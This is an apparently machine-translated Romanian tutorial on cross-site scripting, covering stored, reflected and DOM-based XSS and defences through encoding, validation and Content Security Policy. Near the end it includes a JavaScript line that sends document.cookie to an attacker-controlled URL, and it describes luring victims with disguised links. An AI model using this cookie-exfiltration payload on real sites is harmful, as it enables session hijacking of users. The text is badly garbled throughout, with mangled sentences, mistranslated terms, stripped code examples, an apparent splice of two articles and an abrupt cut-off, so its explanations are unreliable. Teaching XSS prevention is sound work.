Scriptura XSS trans-site. Utilizarea vulnerabilităților XSS la maxim. Îndepărtarea codului propriu

Și este un manual cuprinzător despre scripting-ul transfrontalier.

Partea întâi: Prezentare generală

Ce este XSS?

Scripting încrucișat ( engleză Scripting-ul transfrontalier) - Acesta este un atac care vizează implementarea unui cod care permite unui atacator să efectueze JavaScript rău intenționat într-un alt browser utilizator.

Atacatorul nu-i atacă direct sacrificiul. În schimb, el folosește o vulnerabilitate pe site-ul web care vizitează victima și implementează un cod rău intenționat JavaScript. În browserul victimei, JavaScript rău intenționat este afișat ca o parte legitimă a site-ului, iar site-ul în sine acționează ca un complice directă de atac.

Implementarea codului JavaScript rău intenționat

Singura modalitate de a ataca lansarea unui JavaScript rău intenționat în browser-ul victimă este să o introducă într-una din paginile pe care victima le descărcați de pe site. Acest lucru este posibil dacă site-ul web permite utilizatorilor să introducă date pe paginile lor, iar atacatorul va putea să introducă un șir care va fi determinat ca parte a codului din browserul victimei.

Exemplul de mai jos prezintă un simplu script de server care este folosit pentru a afișa ultimul comentariu pe site:

imprimare " "
Imprimare "Ultimul comentariu:"
Imprimare Database.LatestComment.
Imprimare ""

Scriptul presupune că comentariul constă doar de text. Cu toate acestea, de la imediat intrare personalizatăAtacatorul poate lăsa acest comentariu: ""Orice utilizator care a vizitat pagina va primi acum următorul răspuns:


Ultimul comentariu:

Când browserul utilizatorului încarcă pagina, acesta va efectua totul, inclusiv codul JavaScript conținut în interiorul etichetelor . Acest lucru sugerează că prezența simplă a scriptului implementat de atacator este o problemă, indiferent de faptul că un anumit cod de script este efectiv executat.

Partea a doua: Xss-atac

XSS Attack Participanți

Înainte de a descrie cum să descrieți în detaliu modul în care funcționează atacul XSS, trebuie să identificăm subiecții atacului XSS. În general, în atacul XSS există trei participanți: site-ul web., victimă, I. hoț.

  • Site-ul web. Oferă pagini HTML pentru utilizatorii care i-au cerut. În exemplele noastre, se află la http: // site-ul web /.
    • Baza de date WebSite. Este o bază de date care stochează câteva date introduse de utilizatori pe paginile site-ului.
  • Victimă - aceasta este utilizator normal Site-ul web care solicită pagini cu browserul său.
  • Atacând - Acesta este un atacator care intenționează să înceapă un atac pentru victimă prin utilizarea vulnerabilității XSS pe site.
    • Server Burglar. - Acesta este un server web sub controlul unui atacator cu singurul scop - furtul informațiilor confidențiale ale victimelor. În exemplele noastre, se află la http: // atacator /.

Exemplu de atac de scenariu

Acest script va crea o solicitare HTTP către o altă adresă URL, care va redirecționa browserul utilizatorului către serverul Atacker. Adresa URL include cookie-urile victimei ca parametru de interogare Când o solicitare HTTP vine la serverul Atacker, un atacator poate extrage aceste cookie-uri din cerere. După ce atacatorul a primit cookie-uri, el le poate folosi pentru a se da pentru sacrificiu și a început un atac ulterior.

Din acest punct de pe codul HTML afișat mai sus va fi numit string malware. sau scenariu rău intenționat. Este important să înțelegeți că șirul însuși este rău numai dacă este procesat în cele din urmă ca un cod HTML în browserul victimei și acest lucru poate apărea numai dacă vulnerabilitatea XSS este disponibilă pe site.

Cum funcționează acest exemplu

Schema de mai jos prezintă un exemplu de atac al unui atacator:

  1. Atacatorul folosește una dintre formele site-ului pentru a introduce un șir rău intenționat la baza de date a site-ului web.
  2. Victima solicită pagina de pe site.
  3. Site-ul include un șir rău intenționat din baza de date ca răspuns și îl trimite victimei.
  4. Browserul victimei efectuează un scenariu rău intenționat în răspuns, trimițând victimelor serverului de atacator.

Tipuri XSS.

Scopul atacului XSS este întotdeauna din cauza malware Scriptul JavaScript. În browserul victimei. Există mai multe modalități fundamentale diferite de a atinge acest obiectiv. Atacurile XSS sunt adesea împărțite în trei tipuri:

  • Stocat (permanent) xssÎn cazul în care șirul rău intenționat provine din baza de date a site-ului web.
  • Reflectat (non-permanent) xssunde șirul rău intenționat este generat de cererea victimei.
  • XSS DOM ModeleÎn cazul în care vulnerabilitatea are loc în codul de pe partea clientului și nu pe partea laterală a codului de server.

În exemplul anterior, este afișat atacul XSS stocat. Acum descriem alte două tipuri de atacuri XSS: au reflectat modelele XSS și XSS-Atac DOM.

Reflectat xss.

În cazul unui atac XSS reflectat, un șir rău intenționat face parte din cererea victimei către site-ul Web. Site-ul primește și introduce acest șir rău intenționat către utilizator trimis utilizatorului. Schema de mai jos ilustrează acest script:

  1. Victima trimite în mod fraudulos cererea URL către site-ul web.
  2. Site-ul include un șir rău intenționat din interogarea adresei URL ca răspuns la victimă.
  3. Browserul victimei efectuează un scenariu rău conținut în răspuns, trimițând victimelor serverului de intrus.

Cum să efectuați cu succes un atac XSS reflectat?

Atacul XSS reflectat poate părea inofensiv, deoarece cere victima din numele său să trimită o cerere care conține un șir rău intenționat. Deoarece nimeni nu se va ataca în mod voluntar, se pare că nu există nicio modalitate de execuție efectivă a atacului.

După cum se dovedește, există cel puțin două moduri comune de a face sacrificiul să înceapă un atac XSS reflectat împotriva ei în sine:

  • Dacă utilizatorul este o personalitate specifică, un atacator poate trimite victima unei adrese URL rău intenționate (de exemplu, folosind e-mail sau mesager) și să înșele să-l forțeze să deschidă un link pentru a vizita site-ul web.
  • Dacă obiectivul este un grup mare de utilizatori, un atacator poate publica un link către o adresă de url rău (de exemplu, pe site-ul său propriu sau în rețea socială) Și așteptați vizitatorii care vor merge pe link.

Ambele metode sunt similare, iar ambele pot fi mai reușite folosind serviciile de a "scurta" adresa URL, ascund șirul rău intenționat de la utilizatorii care l-au putut identifica.

XSS în modelul DOM

XSS în modelul DOM este o opțiune ca un atac XSS stocat și reflectat. În acest atac XSS, șirul rău intenționat nu este procesat de browser-ul victimei, până când JavaScript real al site-ului este executat. Schema de mai jos ilustrează acest script pentru atacurile XSS reflectate:

  1. Atacatorul creează o adresă URL care conține un șir rău intenționat și îl trimite victimei.
  2. Victima este frauduloasă de către atacator trimite cererea URL către site-ul web.
  3. Site-ul primește o cerere, dar nu include un șir rău intenționat ca răspuns.
  4. Browserul victimei efectuează un scenariu legitim conținut în răspuns, rezultând în scenariu rău intenționat vor fi inserate în pagină.
  5. Browserul victimei efectuează un script rău intenționat introdus în pagină, trimițând cookie-urile victimei la serverul de intruder.
Care este diferența dintre XSS în modelul DOM?

În exemplele anterioare de atacuri XSS stocate și reflectate, serverul introduce un script rău intenționat la pagină, care este apoi trimis ca răspuns la victimă. Când browserul victimei a primit un răspuns, el presupune că scriptul rău intenționat face parte din conținutul legitim al paginii și îl efectuează automat în timpul încărcării paginilor, precum și orice alt scenariu.

În exemplul atacurilor XSS din modelul DOM, scriptul rău intenționat nu este introdus ca parte a paginii; Singurul script care este executat automat în timpul încărcării paginilor este o parte legitimă a paginii. Problema este că acest scenariu legitim utilizează direct intrarea utilizatorului pentru a adăuga HTML la pagină. Deoarece șirul rău intenționat este introdus în pagină folosind INNERTML, este analizat ca HTML, ca rezultat al cărui script dăunător va fi efectuat.

Această distincție este mică, dar foarte importantă:

  • În XSS tradițional, JavaScript rău intenționat este efectuat când pagina este încărcată, ca parte a HTML trimisă de server.
  • În cazul XSS în modelul DOM, JavaScript rău intenționat este efectuat după încărcarea paginii, ca rezultat, această pagină cu JavaScript legitim este denumită o modalitate nesigură la intrarea utilizatorului (care conține un șir rău intenționat).
Cum funcționează XSS în modelul DOM?

În exemplul anterior, nu este nevoie de JavaScript; Serverul poate genera toate HTML de la sine. Dacă codul de pe partea serverului nu conține vulnerabilități, site-ul web nu ar fi supus vulnerabilităților XSS.

Cu toate acestea, deoarece aplicațiile web devin din ce în ce mai avansate, o cantitate tot mai mare de pagini HTML este generată utilizând JavaScript pe partea clientului și nu pe server. În orice moment, conținutul trebuie să se schimbe fără actualizarea întregii pagini, este posibilă utilizarea JavaScript. În special, acesta este cazul când pagina este actualizată după interogarea AJAX.

Aceasta înseamnă că vulnerabilitățile XSS pot fi prezente nu numai în partea de server a codului site-ului dvs., dar și pe partea laterală a codului JavaScript al clientului site-ului dvs. În consecință, chiar și cu un cod complet securizat pe partea serverului, codul clientului poate fi încă activat în siguranță pentru a introduce datele utilizatorilor la actualizarea DOM după descărcarea paginii. Dacă se întâmplă acest lucru, codul de la client va permite atacul XSS nu este defecțiunea codului de pe partea serverului.

XSS bazat pe modelul DOM poate fi invizibil la server

Există un caz special de atacuri XSS într-un model DOM în care un șir rău intenționat nu este trimis la serverul site-ului: acest lucru se întâmplă atunci când șirul rău intenționat este conținut în fragmentul identificatorului URL (ceva după simbolul #). Browserele nu trimit această parte a URL-ului către server, astfel încât site-ul web nu are acces la acesta utilizând codul de pe partea serverului. Codul de la Client, totuși, are acces la acesta și, prin urmare, este posibil să se efectueze un atac XSS prin procesarea nesigură.

Acest caz nu se limitează la identificatorul fragmentului. Există, de asemenea, o altă intrare de utilizator care este invizibilă la server, de exemplu, funcții noi HTML5, cum ar fi localStrage și indexeddb.

Partea a treia:
XSS Prevention.

XSS metode de prevenire

Amintiți-vă că XSS este un atac al tipului de implementare a codului: utilizatorul introdus de utilizator este interpretat în mod eronat ca un cod de program rău intenționat. Pentru a preveni acest tip de injecție de cod, este necesară o prelucrare a intrărilor securizate. Pentru un dezvoltator web, există două fundamentale diverse metode Efectuați prelucrarea intrărilor securizate:

  • Codare - Aceasta este o modalitate care vă permite să introduceți datele de către utilizator numai ca date și nu permite procesarea browserului ca cod.
  • Validare - Această metodă filtrează intrarea utilizatorului astfel încât browser-ul să o interpreteze ca un cod fără comenzi rău intenționate.

Deși acestea sunt metode fundamentale diferite de prevenire a XSS, au mai multe trăsături generale care sunt importante pentru înțelegere atunci când se utilizează oricare dintre ele:

Context Prelucrarea intrării în condiții de siguranță trebuie să se facă în mod diferit în funcție de locul în care este utilizată intrarea utilizatorului. Prelucrarea intrării securizate de intrare / ieșire poate fi efectuată fie atunci când site-ul dvs. primește date de intrare (trafic primind), fie direct înainte ca site-ul să introducă o intrare personalizată în conținutul paginii (ieșire). Prelucrarea securizată a clientului / serverului poate fi efectuată fie pe partea clientului, fie pe partea serverului, fiecare opțiune este necesară în circumstanțe diferite.

Înainte de a explica în detaliile cum funcționează codificarea și validarea, descriem fiecare dintre aceste elemente.

Procesarea introducerii utilizatorului în contexte

Există multe contexte pe o pagină web unde poate fi aplicată intrare personalizată. Normele speciale trebuie îndeplinite pentru fiecare dintre ele, astfel încât intrarea utilizatorului să nu poată "izbucni" din contextul său și nu a putut fi interpretată ca un cod rău intenționat. Mai jos sunt cele mai frecvente contexte:

Care este sensul contextelor?

În toate contextele descrise, vulnerabilitatea care duce la XSS poate să apară dacă utilizatorul introdus de utilizator a fost introdus la prima codificare sau validare. Un atacator poate introduce un cod rău intenționat pur și simplu introducerea unui separator de închidere pentru acest context și după acesta este un cod rău intenționat.

De exemplu, dacă, la un moment dat, site-ul include introducerea datelor de către utilizator direct în atributul HTML, atacatorul va putea să implementeze un script rău intenționat prin începerea cotei sale, după cum se arată mai jos:

Acest lucru ar putea fi prevenit, pur și simplu eliminând toate citatele din intrarea utilizatorului și totul ar fi bine, dar numai în acest context. Dacă intrarea a fost introdusă într-un alt context, separatorul de închidere va fi diferit și injecția va deveni posibilă. Din acest motiv, procesarea sigură a intrărilor trebuie adaptată întotdeauna în contextul în care va fi introdus intrarea utilizatorului.

Procesarea intrărilor de utilizator de intrare / ieșire

Instinctive, poate părea că XSS poate fi prevenită prin codificarea sau validarea întregului utilizator de intrare, de îndată ce site-ul nostru îl primește. Astfel, orice linii rău intenționate vor fi deja neutralizate ori de câte ori sunt incluse în pagină, iar scripturile de generare HTML nu trebuie să aibă grijă de procesarea sigură a intrării de utilizator.

Problema este că, așa cum s-a descris anterior de utilizator introdus de utilizator, poate fi introdus în mai multe contexte de pe pagină. Si nu calea usoara Determinați când intrarea utilizatorului vine în context - așa cum va fi introdusă în cele din urmă, iar aceeași intrare a utilizatorului trebuie adesea introdusă în diferite contexte. Bazându-se pe prelucrarea intrărilor de intrare pentru a preveni XSS, creăm o soluție foarte fragilă care va fi supusă erorilor. (PHP "Magic Magic" depășită sunt un exemplu de astfel de soluție.)

În schimb, prelucrarea intrării de ieșire trebuie să fie linia principală de protecție din XSS, deoarece poate lua în considerare contextul specific, care va fi introdus utilizatorul introdus de utilizator. Într-o oarecare măsură, validarea primită poate fi utilizată pentru a adăuga un strat secundar de protecție, dar mai târziu.

În cazul în care este posibilă efectuarea procesului de procesare a intrărilor de utilizare

În majoritatea aplicațiilor web moderne, intrarea utilizatorului este procesată atât pe partea laterală a codului de server, cât și pe partea de cod client. Pentru a proteja împotriva tuturor tipurilor de XSS, prelucrarea intrărilor securizate trebuie să fie executată atât în \u200b\u200bcodul de pe partea serverului, cât și în partea de cod client.

  • Pentru a proteja împotriva XSS tradițional, procesarea sigură a intrărilor trebuie efectuată în codul de pe partea serverului. Acest lucru se face cu o limbă acceptată de server.
  • Pentru a proteja împotriva atacului XSS în modelul DOM, unde serverul nu primește niciodată un șir rău intenționat (de exemplu, atacul descris anterior prin intermediul fragmentului de identificare), procesarea de intrare securizată trebuie efectuată în codul de pe partea clientului. Acest lucru se face cu JavaScript.

Acum, când am explicat de ce contextul contează, de ce diferența dintre prelucrarea intrărilor de intrare și de ieșire este importantă și de ce procesarea securizată a intrărilor trebuie făcută pe ambele părți și pe partea clientului și pe partea serverului, putem continua să explicăm Cum se efectuează două tipuri de prelucrare a intrărilor securizate (codificare și validare).

Codare

Codificarea este o cale de ieșire din situație atunci când este necesar ca browserul de intrare utilizator să interpreteze numai ca date și nu cod. Cel mai popular tip de codificare în dezvoltarea web este mascarea HTML care convertește caracterele cum ar fi < și > în < și > respectiv.

Următorul pseudocod este un exemplu de modul în care utilizatorul introdus de utilizator (enter personalizat) poate fi codificat utilizând masca HTML și apoi introdus la pagină utilizând scenariul serverului:

imprimare " "
Imprimare "Ultimul comentariu:"
Print Encodehtml (userInput)
Imprimare ""

Dacă utilizatorul intră în următoarea linie HTML rezultat va arăta astfel:


Ultimul comentariu:

Deoarece toate simbolurile cu valori speciale au fost deghizate, browserul nu va dezasambla nici o parte a intrării utilizatorului ca HTML.

Cod de codare pe partea clientului și serverul

La codificarea codului de cod de la client, este utilizată întotdeauna o limbă JavaScript, care are funcții încorporate care codifică date pentru diferite contexte.

Când efectuați codarea în codul dvs. pe partea serverului, vă bazați pe caracteristicile disponibile în limba sau cadrul dvs. din cauza un numar mare Limbi și cadre disponibile date tutorial Acesta nu va acoperi detaliile de codare în nici un anumit server sau cadru. Cu toate acestea, funcțiile de codificare JavaScript utilizate pe partea clientului sunt de asemenea utilizate la scrierea codului de pe partea serverului.

Codând pe partea clientului

Când codificați o intrare personalizată a clientului utilizând JavaScript, există mai multe metode și proprietăți încorporate care codifică automat toate datele în stil dependent de contextual:

Ultimul context deja menționat mai sus (valori în JavaScript) nu este inclus în această listă, deoarece JavaScript nu oferă o metodă de codificare a datelor încorporate, care va fi activată în codul sursă JavaScript.

Restricții de codificare

Chiar și atunci când codificați, este posibil să utilizați linii rău intenționate în anumite contexte. Un exemplu luminos al acestui lucru este atunci când intrarea utilizatorului este utilizată pentru a furniza adresa URL, de exemplu, în exemplul de mai jos:

document.QuerySelector ("A"). Href \u003d userInput

Deși valoarea specificată din proprietatea elementului HREF îl codifică automat, astfel încât să devină nu mai mult decât valoarea atributului, acest lucru în sine nu interferează cu atacatorul introduce o adresă URL care începe cu "JavaScript:". Când faceți clic pe link, indiferent de construcție, JavaScript încorporat din URL va fi executat.

Codificarea nu este, de asemenea, o soluție eficientă atunci când doriți ca utilizatorii să utilizeze o parte din codurile HTML pe pagină. Un exemplu este pagina de profil a utilizatorului, unde utilizatorul poate folosi utilizatorul HTML. Dacă acest HTML obișnuit este codificat, pagina de profil va putea consta doar din textul simplu.

În astfel de situații, codificarea ar trebui completată de validarea cu care vom cunoaște mai departe.

Validare

Validarea este un act de filtrare a intrării utilizatorului, astfel încât toate părțile rău intenționate să fie îndepărtate fără a fi nevoie să eliminați întregul cod în el. Unul dintre cele mai utilizate tipuri de verificări în dezvoltarea web vă permite să utilizați unele elemente HTML (de exemplu, și ), Dar forboving alții (de exemplu,

Cu o politică specifică CSP specifică, browserul nu poate descărca și executa script-uri rău intenționate deoarece http: // atacator / nu este specificat ca o sursă fiabilă. Chiar dacă site-ul nu a reușit să proceseze în mod sigur introducerea utilizatorului în acest caz, politica CSP a împiedicat vulnerabilitatea și provocând orice rău.

Chiar dacă atacatorul injectat prin codul din interiorul codului scenariului și nu prin referire la fișierul extern, politica CSP configurată corect va dezactiva, de asemenea, injecția în codul JavaScript care împiedică vulnerabilitatea și provocând orice rău.

Cum să activați CSP?

Implicit, browserele nu utilizează CSP. Pentru a permite SCP pe site-ul dvs., paginile trebuie să conțină un antet http suplimentar: Politica de securitate a conținutului. Orice pagină care conține acest titlu va aplica politicile de securitate în timpul pornirii unui browser, cu condiția ca browserul să accepte CSP.

Deoarece politica de securitate este trimisă cu fiecare răspuns HTTP, este posibilă instalarea individuală a unei politici pe server pentru fiecare pagină. Aceeași politică poate fi aplicată întregului site web, inserarea aceluiași antet CSP în fiecare răspuns.

Conținutul din antetul de politică de securitate-securitate conține un șir care definește una sau mai multe politici de securitate care vor funcționa pe site-ul dvs. Sintaxa acestui șir va fi descrisă mai jos.

Exemple de anteturi Această secțiune utilizează transferul de rânduri și liniuțe pentru simplitatea percepției; Acestea nu ar trebui să fie prezente în antetul prezent.

CSP sintaxă

Sintaxa antetului CSP arată astfel:

Politica de securitate-securitate:
directivă sursă-expresie, sursă-expresie, ...;
directivă ...;
...

Această sintaxă constă din două elemente:

  • Directive (directive) Prezentarea liniilor care indică tipul de resurse luate din lista specificată.
  • Expresii sursă Este un model care descrie unul sau mai multe servere de unde pot fi descărcate resursele.

Pentru fiecare directivă, datele din expresia sursă determină ce surse pot fi utilizate pentru a încărca resursele tipului corespunzător.

Directivă

Următoarele directive pot fi utilizate în antetul CSP:

  • connect-src.
  • font-src.
  • frame-src.
  • img-src.
  • mEDIA-SRC.
  • obiect-src.
  • script-src.
  • stil-src.

În plus, directiva specială Default-SRC poate fi utilizat pentru a asigura valoarea implicită pentru toate directivele care nu au fost incluse în titlu.

Exprimarea sursei

Sintaxa pentru a crea o expresie a sursei este după cum urmează:

protocol: // Numele gazdei: Numărul portului

Numele gazdei poate începe cu *, ceea ce înseamnă că orice subdomeniu al denumirii gazdei furnizate va fi rezolvat. În mod similar, numărul portului poate fi reprezentat ca *, ceea ce înseamnă că toate porturile vor fi rezolvate. În plus, protocolul și numărul portului pot fi ratate. Dacă protocolul nu este specificat, politica va necesita încărcarea tuturor resurselor utilizând HTTPS.

În plus față de sintaxa de mai sus, expresia sursei poate fi una dintre cele patru ca o alternativă cuvinte cheie Cu o valoare specială (citate sunt incluse):

"Niciuna" interzice resursele. "Sine" permite resursele de la gazda pe care se află pagina web. "NEVAFE-ININE" permite resursele conținute pe pagină ca fiind încorporate

Cumva nu foarte înfricoșător :) Ce poate fi cu adevărat periculos această vulnerabilitate?

Pasiv și activ

Există două tipuri de vulnerabilități XSS - pasive și active.

Vulnerabilitate activă Mai periculos, ca atacator nu are nevoie să atragă sacrificiul pe o legătură specială, este suficient pentru el să pună în aplicare codul în bază sau în unele fișiere de pe server. Astfel, toți vizitatorii site-ului devin automat victime. Acesta poate fi integrat, de exemplu, prin încorporarea codului SQL (injecție SQL). Prin urmare, nu trebuie să aveți încredere în datele stocate în baza de date, chiar dacă în inserție au fost procesate.

Exemplu vulnerabilitate pasivă Puteți vedea la începutul articolului. Există deja inginerie socială, de exemplu, o scrisoare importantă din partea administrației site-ului care vă cere să verificați setările contului dvs., după recuperarea de la backup. În consecință, trebuie să cunoașteți adresa victimei sau pur și simplu să organizați un buletin informativ spam sau să plasați un post pe un forum și nu încă faptul că victimele vor fi naive și vor merge la link-ul dvs.

În plus, vulnerabilitățile pasive pot fi supuse atât după postare, cât și primite parametrii. Cu post-parametri, va fi înțeleasă, va trebui să mergeți pe trucuri. De exemplu, redirecționarea de pe site-ul de intrus.

">

În consecință, vulnerabilitatea obțineți puțin mai periculoasă, deoarece Victima este mai ușor de observat domeniul greșit decât parametrul suplimentar (deși adresa URL poate fi codificată deloc).

Cookie-uri

Acesta este cel mai frecvent citat exemplu al atacurilor XSS. În siturile cookie-urilor stochează uneori orice informații valoroase (uneori chiar login și parolă (sau hash) ale utilizatorului), dar cel mai periculos este furtul unei sesiuni active, deci nu uitați să apăsați linkul "Ieșire" de pe site-uri, Chiar dacă este computer de acasă. Din fericire, în majoritatea resurselor, durata de viață a sesiunii este limitată.

var іmg \u003d imagine nouă (); Іmg.sps \u003d "http: //site/xss.php?" + document.cookie;

Prin urmare, restricțiile de domeniu pe XmlhttpRequest, dar atacatorul nu este înfricoșător, deoarece există